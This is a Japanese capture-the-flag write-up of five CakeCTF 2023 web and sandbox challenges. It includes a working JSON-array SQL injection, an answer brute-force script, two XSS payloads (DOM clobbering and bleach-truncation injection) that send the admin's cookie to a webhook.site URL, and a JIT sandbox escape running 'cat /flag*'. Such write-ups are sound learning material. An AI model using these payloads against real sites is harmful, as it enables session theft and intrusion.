11/11 - 11/12という日程で開催された。BunkyoWesternsで参加*1して3位だった。個人的にはCountry DBとAdBlogでfirst bloodを、TOWFLとOpenBio 2でsecond solveを取れて嬉しい。
ほかのメンバーのwriteup:
- Satokiさん: ctf_writeups/CakeCTF_2023/Word_Tower at master · satoki/ctf_writeups
- rand0mさん: CakeCTF 2023: Gaming VM Writeup | rand0m
- kanonさん: cakectf 2023 | kanon
- チョコラスクさん: Xユーザーのチョコラスクさん: 「CakeCTF 2023 (寝てて終了に乗り遅れた・・・) AVTOKYO終わってからやったけど、無事残っていたcryptoは倒せてよかった Iron Door s=kz+krx(k,rは200bit,zは160bit) 2つ連立してxを消去すると k2r2s1-k1r1s2=k2r2k1z1-k1r1k2z2」 / X
- task4233さん: CakeCTF 2023 Writeup - note
- チョコラスクさん: CakeCTF 2023 writeup - チョコラスクのブログ
- [Web 68] Country DB (246 solves)
- [Web, Cheat 79] TOWFL (171 solves)
- [Web 151] AdBlog (39 solves)
- [Web 200] OpenBio 2 (21 solves)
- [Sandbox 196] cranelift (22 solves)
[Web 68] Country DB (246 solves)
Do you know which country code 'CA' and 'KE' are for?
Search country codes here!添付ファイル: country_db_fc1912477a433a93f7d75a9b80389582.tar.gz
与えられたURLにアクセスすると、非常にシンプルなフォームが表示される。AQ
のような国コードを入力すると、次のように対応する Antarctica
という国名(国じゃないけど)が出てきた。
サーバ側のソースコードは次の通り。code
というキーがリクエストボディのJSONに存在するか、また国コードが2文字かつ '
が含まれないかを確認している。次に db_search
で実際にDBからレコードを引っ張ってくるが、ここで f"SELECT name FROM country WHERE code=UPPER('{code}')"
と国コードをそのまま展開している。ただ、'
を含んではいけないという制約から、簡単にはSQLiができなそう。
#!/usr/bin/env python3 import flask import sqlite3 app = flask.Flask(__name__) def db_search(code): with sqlite3.connect('database.db') as conn: cur = conn.cursor() cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')") found = cur.fetchone() return None if found is None else found[0] @app.route('/') def index(): return flask.render_template("index.html") @app.route('/api/search', methods=['POST']) def api_search(): req = flask.request.get_json() if 'code' not in req: flask.abort(400, "Empty country code") code = req['code'] if len(code) != 2 or "'" in code: flask.abort(400, "Invalid country code") name = db_search(code) if name is None: flask.abort(404, "No such country") return {'name': name} if __name__ == '__main__': app.run(debug=True)
というのは嘘で、code
が文字列かどうかがチェックされていない。したがって、["abc", "de'f"]
というような配列を入れてやると、len(code) == 2
かつ "'" in code
でないので、次の db_search
に進むことができる。f"SELECT name FROM country WHERE code=UPPER('{code}')"
にこの配列が展開されると、以下のように abc
が '
で囲まれるため、SQLiが発生する。あとはSQL文全体の辻褄が合う(SQL文として妥当なものになる)よう、abc
に入る文字列を調整してやればよい。
>>> code = ["abc", "de'f"] >>> print(f"SELECT name FROM country WHERE code=UPPER('{code}')") SELECT name FROM country WHERE code=UPPER('['abc', "de'f"]')
DBの初期化を行う init_db.py
には、flag
というテーブルにフラグを挿入する処理がある。先程のSQLiを使って、UNION
で抽出したい。code
にSQLiを起こすJSONを仕込んで送信するPythonスクリプトを書く。
import requests r = requests.post('http://countrydb.2023.cakectf.com:8020/api/search', json={ 'code': [") union select flag from flag; -- ", "a"] }) print(r.text)
実行するとフラグが得られた。
$ python3 s.py {"name":"CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}"}
CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}
[Web, Cheat 79] TOWFL (171 solves)
Do you speak the language of wolves?
Prove your skill here!添付ファイル: towfl_1522fc6a699ad2ed6345f40f36451c78.tar.gz
与えられたURLにアクセスすると、問題文の通り謎言語で試験が始まった。
ソースコードは次の通り。この試験は
POST /api/start
で試験開始。eid
というキーでセッションにランダムな文字列が保存される。100問の問題を生成して、これをキーにRedisに保存するGET /api/question/(ページ番号)
で現在解いているページの問題を得る。答えはもちろん含まれないPOST /api/submit
でまとめて答案を提出するGET /api/score
でスコアを得る。100点満点であればフラグが得られる
というような流れで行われる。試験の問題文も答えも完全にランダムであり、推測はできない。
#!/usr/bin/env python3 import flask import json import lorem import os import random import redis REDIS_HOST = os.getenv("REDIS_HOST", "redis") REDIS_PORT = int(os.getenv("REDIS_PORT", "6379")) app = flask.Flask(__name__) app.secret_key = os.urandom(16) @app.route("/") def index(): return flask.render_template("index.html") @app.route("/api/start", methods=['POST']) def api_start(): if 'eid' in flask.session: eid = flask.session['eid'] else: eid = flask.session['eid'] = os.urandom(32).hex() # Create new challenge set db().set(eid, json.dumps([new_challenge() for _ in range(10)])) return {'status': 'ok'} @app.route("/api/question/<int:qid>", methods=['GET']) def api_get_question(qid: int): if qid <= 0 or qid > 10: return {'status': 'error', 'reason': 'Invalid parameter.'} elif 'eid' not in flask.session: return {'status': 'error', 'reason': 'Exam has not started yet.'} # Send challenge information without answers chall = json.loads(db().get(flask.session['eid']))[qid-1] del chall['answers'] del chall['results'] return {'status': 'ok', 'data': chall} @app.route("/api/submit", methods=['POST']) def api_submit(): if 'eid' not in flask.session: return {'status': 'error', 'reason': 'Exam has not started yet.'} try: answers = flask.request.get_json() except: return {'status': 'error', 'reason': 'Invalid request.'} # Get answers eid = flask.session['eid'] challs = json.loads(db().get(eid)) if not isinstance(answers, list) \ or len(answers) != len(challs): return {'status': 'error', 'reason': 'Invalid request.'} # Check answers for i in range(len(answers)): if not isinstance(answers[i], list) \ or len(answers[i]) != len(challs[i]['answers']): return {'status': 'error', 'reason': 'Invalid request.'} for j in range(len(answers[i])): challs[i]['results'][j] = answers[i][j] == challs[i]['answers'][j] # Store information with results db().set(eid, json.dumps(challs)) return {'status': 'ok'} @app.route("/api/score", methods=['GET']) def api_score(): if 'eid' not in flask.session: return {'status': 'error', 'reason': 'Exam has not started yet.'} # Calculate score challs = json.loads(db().get(flask.session['eid'])) score = 0 for chall in challs: for result in chall['results']: if result is True: score += 1 # Is he/she worth giving the flag? if score == 100: flag = os.getenv("FLAG") else: flag = "Get perfect score for flag" # Prevent reply attack flask.session.clear() return {'status': 'ok', 'data': {'score': score, 'flag': flag}} def new_challenge(): """Create new questions for a passage""" p = '\n'.join([lorem.paragraph() for _ in range(random.randint(5, 15))]) qs, ans, res = [], [], [] for _ in range(10): q = lorem.sentence().replace(".", "?") op = [lorem.sentence() for _ in range(4)] qs.append({'question': q, 'options': op}) ans.append(random.randrange(0, 4)) res.append(False) return {'passage': p, 'questions': qs, 'answers': ans, 'results': res} def db(): """Get connection to DB""" if getattr(flask.g, '_redis', None) is None: flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0) return flask.g._redis if __name__ == '__main__': app.run()
よく見るとステートの管理が甘く、一度答案を提出してスコアを確認してからでも、/api/submit
から同じ問題に対する答案の提出が何度もできるし、/api/score
でのスコアの確認も何度もやり直しができる。幸いにもこの試験は多肢選択式なので、1問ずつすべての選択肢を選んでいき、その結果としてスコアが上がったかどうかを確認することで、どれが正解であるかわかる。そのようなスクリプトを書く。
import httpx with httpx.Client(base_url='http://towfl.2023.cakectf.com:8888/') as client: client.post('/api/start') cookies = client.cookies answers = [[None for _ in range(10)] for _ in range(10)] for i in range(100): for x in range(4): client.cookies = cookies answers[i // 10][i % 10] = x client.post('/api/submit', json=answers) r = client.get('/api/score').json() print(r) if r['data']['score'] != i: break
実行するとフラグが得られた。これで私が狼の言語を解することが証明された。
$ python3 s.py {'data': {'flag': 'Get perfect score for flag', 'score': 0}, 'status': 'ok'} {'data': {'flag': 'Get perfect score for flag', 'score': 0}, 'status': 'ok'} {'data': {'flag': 'Get perfect score for flag', 'score': 0}, 'status': 'ok'} {'data': {'flag': 'Get perfect score for flag', 'score': 1}, 'status': 'ok'} {'data': {'flag': 'Get perfect score for flag', 'score': 1}, 'status': 'ok'} {'data': {'flag': 'Get perfect score for flag', 'score': 1}, 'status': 'ok'} {'data': {'flag': 'Get perfect score for flag', 'score': 2}, 'status': 'ok'} {'data': {'flag': 'Get perfect score for flag', 'score': 2}, 'status': 'ok'} {'data': {'flag': 'Get perfect score for flag', 'score': 3}, 'status': 'ok'} {'data': {'flag': 'Get perfect score for flag', 'score': 3}, 'status': 'ok'} ... {'data': {'flag': '"CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}"', 'score': 100}, 'status': 'ok'}
CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}
[Web 151] AdBlog (39 solves)
Post your article anonymously here!
* Please report us if you find any sensitive/harmful posts.添付ファイル: adblog_bf9113f56e16736e143208ac49829609.tar.gz
与えられたURLにアクセスすると、以下のようにブログの投稿フォームが表示された。内容ではHTMLを使えるようだ。
ただし、script
のような危険な要素であったり、onerror
のような危険な属性であったりを使おうとしても無効化されてしまう。各投稿のページでは次のような処理によって内容を表示している。Base64エンコードされた内容がインラインスクリプト中に埋め込まれており、これをBase64デコードした文字列について DOMPurify
で危険な要素や属性を削除した上で、innerHTML
により表示しているようだ。
その後で妙なことをしており、detectAdBlock
とやらでAdBlockが使われているかチェックしている。もし使われていれば、AdBlockを解除するようなお願いを表示するようになっている。
<script> let content = DOMPurify.sanitize(atob("PHM+dGVzdDwvcz4=")); document.getElementById("content").innerHTML = content; window.onload = async () => { if (await detectAdBlock()) { showOverlay = () => { document.getElementById("ad-overlay").style.width = "100%"; }; } if (typeof showOverlay === 'undefined') { document.getElementById("ad").style.display = "block"; } else { setTimeout(showOverlay, 1000); } } </script>
detectAdBlock
の実装は次の通り。Google AdSense関連のスクリプトを取りに行こうとして、それが200を返すかどうかでチェックしている。
const ADS_URL = 'https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js'; async function detectAdBlock(callback) { try { let res = await fetch(ADS_URL, { method: 'HEAD' }); return res.status !== 200; } catch { return true; } }
AdBlockが検出された場合にのみ showOverlay
という変数を設定する処理があるが、この実装が不自然だ。なぜか var
や let
を使って変数宣言がされておらず、これではグローバルな変数になってしまう。また、その直後に showOverlay
が undefined
でなければ setTimeout(showOverlay, 1000)
を呼び出すという処理があり、なぜ if (await detectAdBlock()) { … }
のブロック中にまとめないのか。
await detectAdBlock()
が false
かつ typeof showOverlay
が 'undefined'
でないという状況はどうすれば作れるだろうか。DOM Clobberingだ。<a href="cid:hoge" id="showOverlay">a</a>
というようなタグを仕込んでおくと、typeof showOverlay
は 'object'
になる。setTimeout
は第1引数に文字列が渡ると eval
相当の挙動をするし、a
要素は文字列化するとその href
属性の値を返してくれる。
<a href="cid:navigator.sendBeacon('https://webhook.site/(省略)',document.cookie)" id="showOverlay">aaa</a>
のようなHTMLを内容として記事を投稿する。問題文中の "Please report us …" のリンクからその記事のIDを報告すると、管理者をはめることができフラグが得られた。
CakeCTF{setTimeout_3v4lu4t3s_str1ng_4s_a_j4va5cr1pt_c0de}
[Web 200] OpenBio 2 (21 solves)
Share your Bio here!
* Please report us if you find any sensitive/harmful bio.添付ファイル: openbio2_3f76afa06e9c42e3ba9eed5866f8d97a.tar.gz
与えられたURLにアクセスすると、次のようにbioを生成できるフォームが表示された。
bioの部分では s
や b
といった安全っぽい要素は使えるが、script
や onerror
のような危険な要素や属性は消されてしまう。<
や >
といった記号も実体参照に変換されてしまう。
サーバ側のソースコードは次の通り。bleach
というライブラリを使って、bleach.clean
で危険な要素やら属性やらを削除した後に bleach.linkify
によって example.com
のようなURLを <a href="http://example.com" rel="nofollow">example.com</a>
のようなリンクに変換している。また、ユーザが入力した bio1
と bio2
がそれぞれ1001文字以下であるかチェックしているほか、bleach
による変換後の文字列について、10000文字で切っている。
import bleach import flask import json import os import re import redis REDIS_HOST = os.getenv("REDIS_HOST", "redis") REDIS_PORT = int(os.getenv("REDIS_PORT", "6379")) app = flask.Flask(__name__) @app.route('/', methods=['GET', 'POST']) def index(): if flask.request.method == 'GET': return flask.render_template("index.html") err = None bio_id = os.urandom(32).hex() name = flask.request.form.get('name', 'Anonymous') email = flask.request.form.get('email', '') bio1 = flask.request.form.get('bio1', '') bio2 = flask.request.form.get('bio2', '') if len(name) > 20: err = "Name is too long" elif len(email) > 40: err = "Email is too long" elif len(bio1) > 1001 or len(bio2) > 1001: err = "Bio is too long" if err: return flask.render_template("index.html", err=err) db().set(bio_id, json.dumps({ 'name': name, 'email': email, 'bio1': bio1, 'bio2': bio2 })) return flask.redirect(f"/bio/{bio_id}") @app.route('/bio/<bio_id>') def bio(bio_id): if not re.match("^[0-9a-f]{64}$", bio_id): return flask.redirect("/") bio = db().get(bio_id) if bio is None: return flask.redirect("/") bio = json.loads(bio) name = bio['name'] email = bio['email'] bio1 = bleach.linkify(bleach.clean(bio['bio1'], strip=True))[:10000] bio2 = bleach.linkify(bleach.clean(bio['bio2'], strip=True))[:10000] return flask.render_template("bio.html", name=name, email=email, bio1=bio1, bio2=bio2) def db(): if getattr(flask.g, '_redis', None) is None: flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0) return flask.g._redis if __name__ == '__main__': app.run()
bio1
について、元々1001字以下であるものを、変換によって10000文字以上に引き伸ばしてもらうことで、なんらかのインジェクションを起こせないか。たとえば、<a href="http://example.com"
のように開始タグの途中で切られるようにできないか。HTML上は bio1
のすぐ後に bio2
が来るようになっているから、そのまま bio2
側で属性を仕込めるはずだ。
bleach
のソースコードからまず bleach
がURLとして判定する条件を確認した。対応しているTLDはかなり限られる。適当にもっとも短い2文字を選び、a.co
で <a href="http://a.co" rel="nofollow">a.co</a>
が生成されることを確認できた。4文字が45文字になり嬉しい。
a.co a.co
のようにスペースでつなぎつつ、1001文字いっぱいになるまで繰り返す。'a.co ' * 200 + ' '
で元の文字列が1001文字に到達したが、変換後の文字数は9201文字と残念ながら足りない。この区切り文字でもうちょっと引き伸ばせないかと考え、&
が &
に、>
が >
に変換されることを思い出す。'&a.co' * 199 + '&&a.co'
のように区切り文字を &
にすると10005文字になる。変換後の後ろの100文字は次の通りで、終了タグが消えてしまっている。
&<a href="http://a.co" rel="nofollow">a.co</a>&&<a href="http://a.co" rel="nofollow">a.c
文字数を調整する。'&a.co' * 199 + '<<a.co'
で終了タグの1文字目である <
だけを残すことができた。さらに bio2
に img src=x onerror="alert(123)"
を仕込むことで、アラートが表示された。
&<a href="http://a.co" rel="nofollow">a.co</a><<<a href="http://a.co" rel="nofollow">a.co<
実行されるJSコードを (new Image).src=('http://webhook.site/(省略)?'+document.cookie)
のように変える。これをAdBlogと同様に問題文中の "Please report us …" のリンクからそのbioのIDを報告すると、管理者をはめることができフラグが得られた。
CakeCTF{d0n'7_m0d1fy_4ft3r_s4n1tiz3}
[Sandbox 196] cranelift (22 solves)
👀 JIT engine written in Rust?
(問題サーバの接続情報)
添付ファイル: cranelift_c8e0da8125e4750abd0cef042a5686f8.tar.gz
添付ファイルを展開する。問題サーバに接続すると、次のようなPythonスクリプトが走る。入力を一時ファイルに書き込み、./toy
というバイナリにそのパスを渡す。
#!/usr/local/bin/python import subprocess import tempfile if __name__ == '__main__': print("Enter your code (End with '__EOF__\\n')") code = '' while True: line = input() if line == '__EOF__': break code += line + "\n" with tempfile.NamedTemporaryFile('w') as f: f.write(code) f.flush() p = subprocess.Popen(["./toy", f.name], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) result = p.communicate() print(result[0].decode()) print("[+] Done.")
README.md
を読むと、cranelift-jit-demo
に次のようなパッチがあてられていることがわかった。このコードをコンパイルして toy
というバイナリができあがる。
diff --git a/src/bin/toy.rs b/src/bin/toy.rs index a12bace..fff0965 100644 --- a/src/bin/toy.rs +++ b/src/bin/toy.rs @@ -1,37 +1,18 @@ +use std::fs; +use std::env; use core::mem; use cranelift_jit_demo::jit; -fn main() -> Result<(), String> { +fn main() { // Create the JIT instance, which manages all generated functions and data. let mut jit = jit::JIT::default(); - println!("the answer is: {}", run_foo(&mut jit)?); - println!( - "recursive_fib(10) = {}", - run_recursive_fib_code(&mut jit, 10)? - ); - println!( - "iterative_fib(10) = {}", - run_iterative_fib_code(&mut jit, 10)? - ); - run_hello(&mut jit)?; - Ok(()) -} - -fn run_foo(jit: &mut jit::JIT) -> Result<isize, String> { - unsafe { run_code(jit, FOO_CODE, (1, 0)) } -} - -fn run_recursive_fib_code(jit: &mut jit::JIT, input: isize) -> Result<isize, String> { - unsafe { run_code(jit, RECURSIVE_FIB_CODE, input) } -} - -fn run_iterative_fib_code(jit: &mut jit::JIT, input: isize) -> Result<isize, String> { - unsafe { run_code(jit, ITERATIVE_FIB_CODE, input) } -} - -fn run_hello(jit: &mut jit::JIT) -> Result<isize, String> { - jit.create_data("hello_string", "hello world!\0".as_bytes().to_vec())?; - unsafe { run_code(jit, HELLO_CODE, ()) } + let args: Vec<String> = env::args().collect(); + if args.len() < 2 { + println!("Usage: toy <filename>"); + return; + } + let code = fs::read_to_string(&args[1]).unwrap(); + let _r: bool = unsafe { run_code(&mut jit, &code, ()).unwrap() }; } /// Executes the given code using the cranelift JIT compiler. @@ -52,66 +33,3 @@ unsafe fn run_code<I, O>(jit: &mut jit::JIT, code: &str, input: I) -> Result<O, // And now we can call it! Ok(code_fn(input)) } - -// A small test function. -// -// The `(c)` declares a return variable; the function returns whatever value -// it was assigned when the function exits. Note that there are multiple -// assignments, so the input is not in SSA form, but that's ok because -// Cranelift handles all the details of translating into SSA form itself. -const FOO_CODE: &str = r#" - fn foo(a, b) -> (c) { - c = if a { - if b { - 30 - } else { - 40 - } - } else { - 50 - } - c = c + 2 - } -"#; - -/// Another example: Recursive fibonacci. -const RECURSIVE_FIB_CODE: &str = r#" - fn recursive_fib(n) -> (r) { - r = if n == 0 { - 0 - } else { - if n == 1 { - 1 - } else { - recursive_fib(n - 1) + recursive_fib(n - 2) - } - } - } -"#; - -/// Another example: Iterative fibonacci. -const ITERATIVE_FIB_CODE: &str = r#" - fn iterative_fib(n) -> (r) { - if n == 0 { - r = 0 - } else { - n = n - 1 - a = 0 - r = 1 - while n != 0 { - t = r - r = r + a - a = t - n = n - 1 - } - } - } -"#; - -/// Let's say hello, by calling into libc. The puts function is resolved by -/// dlsym to the libc function, and the string &hello_string is defined below. -const HELLO_CODE: &str = r#" -fn hello() -> (r) { - puts(&hello_string) -} -"#;
私が問題を確認した時点で、以下のようにして putchar
を呼んで文字の出力を行ったり、その他 sleep
のようなlibcにある関数を呼べることがsrupさんとSatokiさんによってわかっていた。ただ、文字列リテラルが使えないために puts("hoge")
のように関数を呼び出そうとしても動かないようだった。
fn foo(a, b) -> (c) { putchar(65) c = 2 c }
この問題より前にpr0xyさんとunicompを解いていたので、まず mmap
なりなんなりで適当にメモリを確保して、read
を使って標準入力経由で /bin/sh
をそこに書き込み、最後に execve
でシェルを起動するというその解法が流用できるのではないかと考えた。これなら文字列リテラルはいらない。ただし、今回は最初のコードの入力以降は何も入力できないという制約がある。その代わりシステムコールだけでなくlibcの関数なら何でも呼べるのは便利だ。
read
の代わりに memset
で1バイトずつ文字を対象のアドレスに書き込めばよいし、最後の execve
は system
を代わりに使える。これで system("cat /flag*")
相当のことをする。
$ nc others.2023.cakectf.com 10000 Enter your code (End with '__EOF__\n') fn foo(a, b) -> (c) { x = mmap(1, 4096, 7, 34, 16777215, 0) memset(x+0,99,1) memset(x+1,97,1) memset(x+2,116,1) memset(x+3,32,1) memset(x+4,47,1) memset(x+5,102,1) memset(x+6,108,1) memset(x+7,97,1) memset(x+8,103,1) memset(x+9,42,1) system(x) c = 2 c } __EOF__ CakeCTF{why_d0_th3y_4ll0w_l1bc_c4ll} [+] Done.
フラグが得られた。
CakeCTF{why_d0_th3y_4ll0w_l1bc_c4ll}
*1:私自身は文京区とは縁もゆかりもない